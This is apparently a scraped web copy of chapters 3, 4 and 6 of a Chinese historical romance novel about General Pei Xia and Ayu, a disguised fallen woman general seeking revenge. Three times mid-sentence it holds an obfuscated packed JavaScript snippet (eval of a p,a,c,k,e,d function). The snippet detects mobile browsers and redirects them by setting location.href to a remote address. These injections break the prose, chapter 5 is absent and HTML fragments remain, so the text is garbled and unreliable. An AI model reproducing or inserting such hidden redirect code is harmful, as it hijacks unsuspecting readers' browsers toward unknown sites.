《春烬时》 3. 第 3 章 夜已深,将军府的书房却还亮着。 裴瑕还未睡下。 他披了身月白的常服,面对着案前如山的卷宗。 卷宗的内容涵盖甚广,军务、民政,不一而足,时间却都指向了六年前、熙平四年。 战胜归朝后,裴瑕便遣人,向刺史府要来了这些旧档。杨骐水本就上赶着讨好他,这点小事,自然无有不应。 裴瑕沿着当年的记载,一字一句读过。 熙平四年,北地起了旱蝗,正是这场蝗灾,导致北漠粮草短缺、牲畜无食。在战马饿死之前,北漠大举挥师,进攻鄞朝北境。 鄞朝在北境设置三州,由三个藩王世袭据守,就是为了防备边患。 几十年间,几乎年年都打,始终有胜有负,所以这场战争刚开始时,没有人料到,会是一个这样惨烈的结局—— 灵州近乎全军覆没,成、博二州亦元气大伤。北境大片土地落入敌手,百姓亦成了北漠治下的奴隶。 战败的真实原因,如今众说纷纭,已不可考。 有人认为,是因为灵州的桓王周涉轻敌冒进;有人说,是因为初时相邻的成、博两州袖手旁观,只以保全自己为上; 还有人隐晦地看向了龙椅上的那位……毕竟,皇帝的削藩之心,从来也是有增无减。 笃笃两声,书房的门被叩响了,裴瑕略一掀眼帘,见来人是他的亲卫韩术。 军中的汉子大都五大三粗,走起路来都带风。韩术大跨步迈入房中,见礼后,随即用比脚步声更大的声音道:“禀裴帅——您命我查的事情,已经有了眉目!” 微晃的火光中,裴瑕眉梢微动,问:“义士的下落,查到了?” 向灵州刺史索要旧档的同时,他还吩咐了一件事情下去—— 找寻当年,那位冒死为周时妤收敛骸骨的义士。 韩术低头道:“是,属下从城内留存的遗民口中,问清楚了那时的经过。” 她的死讯,裴瑕这些年已经咀嚼过很多次了。 他静静听着,面色如常,除却拳心有些发紧,仿佛再无旁的感受。 韩术倒是个性情中人,说着说着,给自己说激动了。 “……杀千刀的北漠人!毫无武德!杀人就算了,还要戮尸,那小周将军……” “她在灵州风评极好,没过两天,便有义士看不下去她的尸身受曝,漏夜去为她收尸。” 韩术顿了顿,方才继续道:“其实是送死,唉,不过也许北漠那边有人睁一只眼闭一只眼吧!收尸倒是收成了,只是那义士后来……也被北漠人杀了。” “我带人查了几圈,确定了这义士的名姓。他姓明,叫继恩,是商户之子。” 裴瑕眼瞳幽深,只问:“这个明家,如今还有人在?” 韩术叹了口气,答道:“查过户牒了,他本就父母早逝,和一个叫雅君的妹妹相依为命,后来两个人大概是一起被北漠人俘虏为了奴隶,这个妹妹后来……也没了音讯。” “尽力去找。”裴瑕道:“既是忠骨,总得有些交代。” 韩术抱了抱拳,严肃应下,随即又露出一点赧然的神情,道:“不过那位小周将军的埋骨处……属下办事不力,现在还未有线索。” 这个答复裴瑕并不意外。 北漠人那样的秉性,如果不把她的尸骨掩藏到找寻不到的角落,收尸也白收了。 他垂着眼,复又拿起了刚搁下的卷宗,声音淡漠:“做得不错。继续查,需要什么,来与我张口。” 一句“不错”,已经是很难得的嘉赏之意。韩术粗黑的眉毛上立即就挂了喜色,忙不迭应了好几句,才退出书房。 不大的书房,渐渐安静了下来。 唯有铜炉中燃烧的炭火,还不时发出一点细碎的声音。 许是夜深了的缘故,桌上的这盏灯火忽然变得格外刺眼,刺得裴瑕眼底发紧。 他自虐般继续盯着那星摇曳的烛火,眼前忽然浮现起一个影影绰绰的轮廓。 塞北猎猎的风沙里,她骑在两人高的大马上,一身胡服短褐却难掩笑靥明媚,从头到脚都是飞扬的,眼眸似火、丹唇如蔻,仿佛多看一眼都会被灼伤。 她原本只扫了他一眼,旋即却像发现了什么稀罕宝贝一样,扬起马鞭指向他。 “快来快来!”她扭过头,抬手往后招呼,“璟和你快看,这人和你长得好像!” 她的语气、动作,几乎可称冒犯,而他对旁人的态度向来敏感,本能地以为她是在戏弄自己——比如说,她身后其实跟了条狗,狗的名字叫璟和什么的…… 可裴瑕还是皱着眉,顺着她手指的方向看了过去。 啊……不是狗。 是人。 他有一瞬错愕。 阳光下,那个被她点名的青年走了过来,很自然地为她牵马。 两人很默契,是那种即使不说话,只要站在一处,旁人也能一眼看出的熟悉。 青年笑意温煦,先扶了一把她的马笼头,才转头看向裴瑕,目露惊讶。 “嘶……你这么说,还真有些像。” 马背上,她的目光在两人之间反复逡巡,啧啧称奇道:“对吧,你俩简直是像兄弟一般的像了!” 那青年便笑:“只是巧合。我母亲寡居这么多年,去哪儿给我生个这么大的弟弟出来?” “喂——”她驱马走来,昂起下巴看着他,眼含探究之意,问:“你叫什么名字,是哪里人?” 天边的日光似乎太过强烈,裴瑕垂下了眼帘。 他听见他自己的声音,一字一顿地回答:“我叫晋瑜,听闻灵州桓王募兵,特来投军。” …… 书房的门没关,冷风吹来,跳动在裴瑕瞳中的火光猛地一曳。 他回过神,重新把视线投回手中的案卷。 可惜,这些横平竖直的墨字,今夜像在和他作对,变得七扭八扭、歪歪斜斜,叫他怎么也读不下去。 心底,只剩下一个念头在叫嚣。 裴瑕重重地呼出了一口浊气。 他叫来了洪庆:“去将杨刺史送的那女人提来。” 闻言,洪庆先是瞪了瞪眼,随即赶忙应道:“是,老奴这就去。” 那女郎入府已经半月有余,一直未被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908280|176817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传见,他都以为,他们大公子只是一时兴起,早把人给忘了。 未料想的,今夜会突然…… 不过很快,洪庆就没有揣摩主子想法的心思了。 约莫一刻钟功夫,他便独自回来了。 “大公子。”他垂着头,硬着头皮复命:“阿妤姑娘……她,不在房中。” 裴瑕终于放下了手中的卷宗,缓缓抬眸。 “你是说……”他语露诧异:“人不见了?” 洪庆膝盖一软,扑通跪了下去,苦着脸道:“是,人不见了,她那婢子还在,但也不知她去哪了,我问了几个门房,都说今晚无人出入。” 说完,他就把头叩到了地上,冷汗直流。 他们这位大公子向来冷心冷情,比起他那心狠手毒的爹也是有过之而无不及。 他虽算熟悉的老仆,也只是沾了媳妇曾是他奶嬷嬷的光而已,称不上多被信任。 洪庆自己清楚这一点,从不敢托大,没想到这三更半夜的,在这个柔柔弱弱的小娘子身上翻了车了! 府上内务一向是由他负责,如果随便一个女人都能在府里乱窜,岂不是说明,消息也透得跟个筛子一样? 洪庆正犹豫着要不要为自己辩解两句,便听得裴瑕淡淡道:“掌灯,我亲自过去。” —— 月落中天,万籁俱寂。 阿妤熟练地避开巡街的武侯,轻快地翻上了屋顶。 冷月裹在她单薄的肩上,像一张半透明的茧。 呼啸的夜风正好吹散身上的血腥气,她藏在袖间的手指一直在抖,却不是冷的。 男人死前的哀嚎犹在她的耳边:“当年、当年,我也是受人胁迫……周……小周将军,饶命啊!” 阿妤勾起唇角,轻轻笑了一声:“她早已战死,你在给谁叫魂?” 男人还有话要说,但鲜血渐渐堵住了他的喉咙,他睁大了眼睛,牛一般喘着不连贯的粗气,很快,就再没了声响。 …… 无人发现,隐现在夜色中的这道身影。 不过阿妤没有得意,快到镇北将军府的时候,还是多提了几分小心。 她原本并没有接近这位裴将军的打算——在一睹他的真容之前。 她确为寻仇而来,但旧事过去太久,为免伤及无辜,又或者平白放过了该死的人,总得确认一下当年的情形。 所以起初,她只想潜入刺史府,重新查一查熙平四年起的旧档。后来得知这些案卷,被那裴瑕调去了,她才打起了借杨骐水的手入府的算盘。 毕竟,镇北将军府的管理并不像杨家这样松散,随随便便就能混进去。 阿妤压下了这些纷乱的心绪,放轻脚步,依照之前的准备,有惊无险地绕开了将军府内外的岗哨。 冷风中,她还来不及松一口气,眉梢倏而便凝住了。 子时已过,她寓居的那方小院,却仍旧亮着灯。 那位身形矜贵的公子,此刻正支着腮,闲坐院中。 他仿佛听见了什么声音,偏过头,朝淤积的夜色投来一瞥。 阿妤似有所感,脚步一顿。 4.第 4 章 不该出神的时刻,阿妤却怔住了。 那日席间匆匆一眼,她没来得及仔细端详这个裴瑕的脸。 她只记起,自己确实是见过他的。 那一年,父王命她主持征兵的事宜。当时的她心高气傲,一门心思扑在用兵打仗上,嫌征兵之事繁冗又无趣,便都丢给顾璟和,自己当起了甩手掌柜。 父王知道后,狠捶了她一顿,怒吼:“死妮子,你以为,打仗就只是战场上那些事不成?滚去干活!再躲懒,今年都不要想带兵。” 她只得骑着她的马,去征兵的地方溜溜达达。 灵州军是出了名的不苛待,既不盘剥百姓,也不欺凌士卒,三州之中,有想法投军的,都会先来灵州试试,不行才再去其他地方。 征兵处几乎人满为患,不过顾璟和料理得很好,她没什么可操心的,溜达完了正要走,一抬头,却看见了一张有些熟悉的面孔。 这人自述是来投军,名叫晋瑜。 因着他那很有几分像顾璟和的眉眼,她难免多注意他一点,随后发现他武艺确实不错,给了他几次立功的机会。 有本事、又获赏识,他擢升得很快,只可惜,半年后的某次作战任务结束之后,他没能回来。 行兵打仗,本就是把脑袋别在裤腰带上,谁死了都不稀奇。她虽惋惜,却也没太在意。 阿妤深吸了一口气。 她的记性向来很好,她不会认错——这位镇北将军,就是熙平四年的那个“晋瑜”。 富贵膏粱里长大的世家子,千里迢迢来到灵州投军,难道只为隐姓埋名、建功立业? 若他不姓裴,还有这种可能。 但他偏偏姓裴,偏偏他的父亲裴哲,是深受皇帝信任的武毅伯、督察院院首。 ——当今天子是造反上位,坐上权力顶峰之后,开始疑心所有人都和从前的他一样有反心。 于是,他大肆清洗朝堂,容不得一点反对的声音,而裴哲,便是替皇帝诛杀异己的刀。 当年未曾深思,现在回想…… 裴哲的儿子,突然来到灵州,绝不是一句巧合可以解释得了的。而他,又为什么会生就一副和顾璟和相似的面孔? 原本来到将军府,只是为了探查旧档,怎料情况在遇到裴瑕之后,变得愈发扑朔迷离。 阿妤略略平复了一下心情。 不管了,先应付掉眼前的局面吧。 夜色掩蔽下,她悄无声息地翻下屋顶,从假山后穿了过去。 —— 平素门可罗雀的小院,今夜堪称人来人往。 棠梨之前做梦都期待能见到的那位镇北将军,这会儿就坐在她面前,她却一点也高兴不起来,更生不出攀附讨好的心思。 她跪在冰冷的地上,肩膀打颤。 而洪庆仍在盘问她。 这位看起来很好说话的大管事,终于露出了不慈眉善目的那一面,声音里也隐隐透着狠厉。 “你如何不知?她与你都是自杨家而来,不是熟稔得很吗?” 棠梨急忙辩解道:“不是,不是这样的!刺史大人派我去伺候她,也就是近月来的事情。” 洪庆不信,只道:“若不熟,怎会为你求情、讨要身契!” 棠梨的嘴唇颤了颤,还想再说点什么,却忽然听到一旁闲坐着的裴瑕,悠悠开口了。 “这么问,你想问出什么来?” 洪庆喏喏,扬手轻轻刮了自己俩嘴巴,随即往棠梨腿上踢了一脚,道:“过去,大公子要亲自问你话。” 棠梨趔趔趄趄地跪了过去。 裴瑕靠坐在椅背上,不紧不慢地敲了两下扶手:“她的底细,你知道多少,一五一十地告诉我。” 他的声线没有刻意沉下,却依旧极有压迫感。 棠梨竹筒倒豆子一样全说了—— 灵州收复,杨骐水作为新到任的刺史,带来的奴仆不够开府,于是又买了些。阿妤便是此时入的刺史府,她是孤女,无有亲朋,连户牒都是入府后补的。 裴瑕静静听着,忽然发问:“入刺史府之前,她身在何处?” 棠梨一怔,想了想才回答道:“奴婢、奴婢也不是很清楚,仿佛听负责采买的婆子说过,她是从北漠回来的,刚到人牙子那里时,身上穿的还是那边的衣裳。” 北漠…… 裴瑕几不可察地皱了皱眉。 就在这时,洪庆忽然发出了惊喜的声音,道:“大公子,他们好像找见人了!” 裴瑕目光稍凝,随即望向院门。 向花园处找寻的两个亲卫回来了。 两人身后,缀着一个身形纤瘦的女人,她看起来睡眼惺忪,很是在状况外。 阿妤抬袖掩唇,小小地打了一个哈欠,踏进院门的瞬间,她像是被一院子人吓到了似的,蓦地睁大了眼睛。 她回过神,低下头,朝裴瑕见礼:“见过将军。” 亲卫亦是抱拳,与裴瑕描述刚刚发现她时的情况。 “禀裴帅,人是在园子里找到的。”亲卫的声音听起来颇有些无言以对的意味:“她……刚刚睡着了,在假山石后面。” 闻言,裴瑕眉梢微挑,缓缓看向了阿妤。 已经不是第一次直视这张像她的面孔,他不再像席间初见时那般失态,不过目光流连到她脸上的时候,还是有些难以移开,像是被什么东西黏住了。 阿妤感受到了裴瑕如有实质的目光,稍偏开了些头。 随即便听见他问:“睡着了?” 他的声线玩味,还带着点调笑的味道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912414|176817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿妤按照刚刚打好的腹稿回答:“晚间有些积食,就想去花园里转一转,然后……假山太绕了,我一时没找着出来的路,又走累了,就……” 洪庆发出不可置信的声音:“所以你就睡着了?在假山上!” 阿妤抬起头,稍显茫然的眼睛看着他,点了点头。 洪庆“嘶”了一声,悄悄转头看向裴瑕。 说实话,这理由…… 虽然匪夷所思,但还真不像编的。 这座将军府占地甚广,是之前北境的豪商府邸改建的,亭台楼榭、假山内湖,一应俱全。 内院因为没有什么女眷,少有人来,不少小径生了荒草,黑灯瞎火的,若是初来乍到,确实很容易走迷路。 这女郎瞧着也是个心大的,连他都能看出她身边那小丫鬟心思不纯,她却还像看不出来一样。 不过这件事可大可小,要怎么处理,端看他们大公子的意思了。 洪庆又隐晦地看了阿妤一眼。 阿妤垂着眼帘,仿佛没有察觉,许多道视线正落在她身上。 裴瑕始终没有发话。 阿妤藏在袖中的双手交叠,开始摸索那柄短刀。 能留下、继续靠近当年之事那最好。毕竟现在的灵州刺史只是个摆设,军政大权都还握在裴瑕手里。 但如果他起了疑心,要朝她发难…… 那也没办法,只能三十六计、走为上计了。 良久,裴瑕方才淡淡开口:“都下去。” 一旁的洪庆等俱都退下了,棠梨心虚地偷觑了阿妤一眼,趔趔趄趄地从地上爬起来,也溜了。 小院倏然安静了许多。 阿妤站定,没有动。 裴瑕从座椅上起身,朝她一步一步走来。 她轻垂眼帘,盯着他的影子,估算他停在哪儿,是她能闪避的最近的距离。 好在,他影子很快停住了,没有离她太近。 “知道今夜,我来寻你做什么吗?” 裴瑕忽然发问,声音似月色清冷。 他完全没提她刚刚不在屋子里的事情,是不在意,还是只暂时按下不表? 阿妤保持着低头的姿态,缓慢地抬起眼睫。 胡椅旁的高脚杌子上,正摆着一把横刀。 相比那日她献舞时用的花架子,这是一把开了刃的、真正的精兵。 阿妤明白了他的意思,上前两步,抓起了这把横刀。 她一拿起刀,便下意识去摩挲刀身流畅的弧度。 她当年惯用的武器,就是一把横刀,只可惜后来遗失在了战场。 转头看见裴瑕正盯着她瞧,阿妤蓦然回想起自己的身份,抚刀的动作一顿,垂眸道:“既然将军有雅兴,那我便献丑了。” 6.第 6 章 阿妤窝在屋子里养病的这段时间,外头下了好几场雪。 她几天里都在发热,醒的时候没有睡的时候多,不过好在吃了药安神,倒也不做梦了,睡得还算安稳。 梦到故人其实不算坏事,问题在于,那些零碎的片段里,她也总能看见当时的自己。 无论是骄傲的、幼稚的,还是嚣张到有些讨厌的自己……她都不是很想面对。 只是,虽然没有做梦,但阿妤还是觉得睡着的时候,有一道莫名的视线在注视着她,阴恻恻的。 醒来问棠梨,她却支吾了起来。 “娘子……”明明院中只她们两人,棠梨却还是把声音压得很低,一副做贼心虚的样子:“我说了,娘子可千万别说出去。” 阿妤一笑,道:“怎么,你半夜瞧见鬼缠着我了?” 可比鬼吓人多了。 棠梨心下苦恼。 此番阿妤生病,她自觉有她伺候得敷衍的缘故,心里多少有些愧疚。 于是那晚,她得裴瑕吩咐退下后也没睡,再晚些的时候,想着阿妤身边不能没人照顾,就又过去了。 不去还好,一去,正好叫她看见,那位裴将军居然还没走。 他垂着眼睫,大半张脸都被阴翳的夜色所笼罩。棠梨看不清他眼底神色,只能看见,他极其温柔地拿了帕子,一遍又一遍为床上的女郎擦拭发烫的额前、颈后。 她瞪大了眼睛,一时不知是进是退,下一息,他却像是察觉到了她的靠近,侧目扫了一眼过来…… 想到那记俯视的目光,棠梨又打了个哆嗦,心里埋怨自己嘴快,打算把阿妤搪塞过去:“没有,什么都没有,我与娘子开玩笑呢。” 阿妤挑了挑眉,没追问下去。 “院子里又积雪了呢。”棠梨赶忙转移话题,拄了笤帚出去了:“我去扫雪,娘子有什么吩咐可一定喊我。” 棠梨虽闭口不谈,但阿妤隐隐约约猜到了一点。 从她杀完人,回来精力耗竭、发起高热那一晚开始,她就有所察觉了。 行军打仗多年,她相信自己的感知和判断。 那个没有被拒绝的拥抱,不是她的错觉,更不是她在做梦。 清醒过后,她甚至能回想起,他的掌心,是如何熨过她颤抖的脊背。 想到裴瑕的那张脸,阿妤又有一瞬失神。 人的记忆是一种很自作主张的东西,尽管她想要把有关顾璟和的过去悉数留下,脑海中他的轮廓,却还是无可避免的越来越浅。 她和顾璟和……其实算是青梅竹马。 她的父王爱才,在灵州设了武学堂,专收根骨好的苗子,而她便是在那儿认识的顾璟和。 他那时也就十岁往上,但已经是一副小大人的作派了。明明是来习武的,周身却萦绕着一种温润的文气,和周围这个年纪好勇斗狠撒丫子乱爬的同龄人,气质可以说是一个天上一个地上。 她很顺理成章地看见了他,然后,朝他走近。 那时,她还是作小郎君的打扮——她的兄长周文恺十三岁那年早早去世,而她的父王早年间受过伤,膝下唯有一子两女,不会再有子息。为免衣钵无人可传,故选定了她这个女儿继续培养。 武学堂里和王府走得近的人,都对她女世子的身份心照不宣,但是顾璟和不知道。 她现在都记得,她换上裙装的那天,顾璟和是什么表情。 “你你你不是王府的世子吗?”他的眸间闪过不可置信,“你居然、居然……” “你才发现吗?”她瞪大了眼睛,比他还不可思议。 等到她和往日一样,去勾他的肩膀,顾璟和脸上的表情,才渐渐被另一种赧然所代替。 再熟络一些之后,她了解了他的身世,方知他为何会是这样沉稳的性格。 他的母亲顾婉宁,是怀着遗腹子孤身徙至北境生活的。她是个绣娘,凭着一手绣艺在灵州渐渐落稳了脚跟,养活自己和儿子。 两人在灵州没有亲族可依,纵使北境的民风要比中原开放,一个寡妇带着小儿讨生活,也容易不到哪儿去。 然而现在,阿妤回想起裴瑕过于肖似顾璟和的眉眼,脑海中,却突然浮现起一个莫名的念头。 她刚进这座府邸时,见那洪管事所带的两个健仆,叫尹兴和尹武的,他们二人便生得十分相像。 棠梨大概也觉得稀奇,与府中其他仆妇闲话时还打听过,回来后兴致冲冲地告诉她,这尹姓的哥俩,竟是双胞弟兄。 阿妤的心弦微动。 推此及彼,那她所见的另外两张相像的面孔……会只是萍水相逢的巧合而已吗? 她忍不住想了下去。 裴瑕的身世不是秘密——他的父亲裴哲,是今上极为信任的督察院院首,专司监察百官;他的母亲,出身书香门第,是大儒冯升之女。 而顾璟和的母亲,从前虽也是长安人士,却只是私塾先生的女儿;而他早死的爹,也只是一个普通的商户。 在她和顾璟和只剩一层待捅破的窗户纸、就要谈婚论嫁之前,她父王周涉就去查过他的底细了,里里外外都并无异常。 怎么看两边都是八竿子打不着,唯一称得上疑影的,只有两人的长相。 那就只剩下另一个问题了—— 裴瑕到底是什么时候见过“周时妤”,为什么要表现出一副仿佛很怀念她、恨不得眼前人就是她的样子? 阿妤轻哂一声,定了定神,叫来了棠梨:“服侍我梳头更衣吧。” 棠梨不解:“娘子这是要去哪儿?” 阿妤抬眸,视线落在窗台上的浮雪上:“我想去前院一趟。” 棠梨眼睛一亮,道:“娘子是想去见大公子吗?” 说着,她不无忧虑地看了阿妤一眼:“可你的病才好些,也不急于一时。不若将养几日再说?” 病好了,气色再好些,人也更好看。 阿妤却已起身,走到了妆台前坐下:“这几日汤药补品不断,如此厚待,我既好了许多,该去谢恩。” 见阿妤执着,棠梨也没多纠结,欢快地放下笤帚,来给她梳头了。 见不见得上另说,但跟着一个出息的、想上进的主子,总比跟着一个得过且过的强。 —— 将军府门前,往来车马依旧是络绎不绝。 门房已经熟练掌握了筛选的流程。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959970|176817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 来贽见的,名刺留下,礼物谢绝;有正经事求见的,也先按是否来自军中、客人品阶、轻重缓急来排序,轮到谁才是谁。 今天却有一个特殊的客人。 一驾来自长安的马车缓缓驶来,车身上,隐隐可以看见“裴”字的族徽。 门房通传后,马车上的人,很快便被请进了府中。 裴瑕正在议事厅前,听闻本家的人来了,也不过淡淡掀了掀眼皮,神色未见有什么变化。 “怎么是郜副都使亲来?”他扬起的食指轻抬,示意小厮给来客看座:“显得裴某礼数不周,不曾远迎。” 从长安来的这位姓郜,叫郜睿成,时任督察院副都使,正是裴瑕父亲裴哲的直属亲信。 这郜睿成长得一副文质彬彬的样子,但是裴瑕很清楚,此人不是善茬。 或者说,整座由他父亲执掌的督察院,都是当今皇帝铲除异己的一把刀,能稳坐在副使的位置上,自然不会是什么好东西。 郜睿成脸上挂着礼节性的笑,朝裴瑕见礼后才虚坐下:“大公子这一次立下不世之功,院首大人高兴得紧呐,在长安听闻这个雀跃的好消息之后,就命我跑这一趟,吩咐我一定要……” 裴瑕唇边笑意戏谑,毫不客气地打断了他的话:“郜副都使与裴院首一贯走得很近,也知道裴家是个什么情况,没必要替他和我——演什么父子情深。” 郜睿成脸上的笑陡然僵住。 裴瑕端起一旁的茶水,慢悠悠地喝了一口,道:“派你来,自是有他的目的。说吧,他想要什么,又愿意与我什么报酬?” 郜睿成的瞳光闪了闪:“这……” 等到厅内的侍人们退下之后,郜睿成方才开口,道:“院首大人命我,来取熙平四年的卷宗。还请大公子开口,从那刺史处调来。” “至于报酬……”他从袖底伸出了三根张开的手指:“三百副战甲。” 听到“熙平四年”四个字的时候,裴瑕的神色有了微妙的变化。 然他很好的掩饰了这一点,眉梢很快挂上了嘲讽的神情:“陈芝麻烂谷子的事情,也值当副都使亲自跑一趟?” 郜睿成以为裴瑕这是不答应,正要继续开条件,便听得他继续道:“旧档如今都在我这里,不过战败后散佚颇多,副都使既然要,那就稍候几日,我会命人整理好送上。” 事情比他想象中要容易,郜睿成松了一口气,随即抚掌道:“多谢大公子。至于那些战甲……卷宗送抵长安后,院首大人立即就会筹措战甲掉来北境。” 目的达成,郜睿成很快退下。 见他走了,蹲守在门口的洪庆逮着机会进来了,抬眼却见裴瑕的表情不对,脚步一顿。 “大公子……” 裴瑕斜坐在圈椅上,单手支在眉骨处,仿佛在思忖什么。 他没有看洪庆,只甩出一个字:“说。” 他的心情看起来显然不佳,洪庆擦了把额角不存在的冷汗,硬着头皮道:“后院那位妤娘子……今日身子好些,想来给您谢恩,可要允她过来?” 洪庆的话音刚落,厅前便安静了下来,良久,他方才听见上首那位冷冷开口:“传她进来。”